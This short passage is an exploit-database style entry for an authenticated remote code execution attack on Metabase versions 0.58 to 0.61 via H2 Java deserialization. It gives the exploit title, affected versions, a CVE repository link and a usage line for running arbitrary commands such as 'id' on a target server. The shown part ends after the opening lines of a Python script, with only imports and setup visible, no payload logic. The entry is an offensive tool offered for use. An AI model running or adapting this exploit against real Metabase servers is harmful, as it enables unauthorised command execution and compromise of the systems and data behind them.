Exploit Title: Metabase 0.61.0 - Authenticated Remote Code Execution Date: 2026-08-12 Exploit Author: Gutierre0x80 Vendor Homepage: https://www.metabase.com/ Software Link: https://github.com/metabase/metabase Version: >= 0.58.0 = 0.59.0 = 0.60.0 = 0.61.0 Example: python3 exploit.py http://127.0.0.1:3000 [email protected] 'Password123!' 'id' Repository: https://github.com/Gutierre0x80/CVE-2026-59827 #!/usr/bin/env python3 """ Metabase - Authenticated RCE via H2 Java Deserialization in Native SQL Affects: Example: python3 exploit.py http://127.0.0.1:3000 [email protected] Admin1234! "id" Required files (same directory as this script): clojure-1.12.3.jar VarChainPayload.class """ import os import sys import subprocess import requests HERE = os.path.dirname(os.path.realpath(file)) CLJ_JAR =…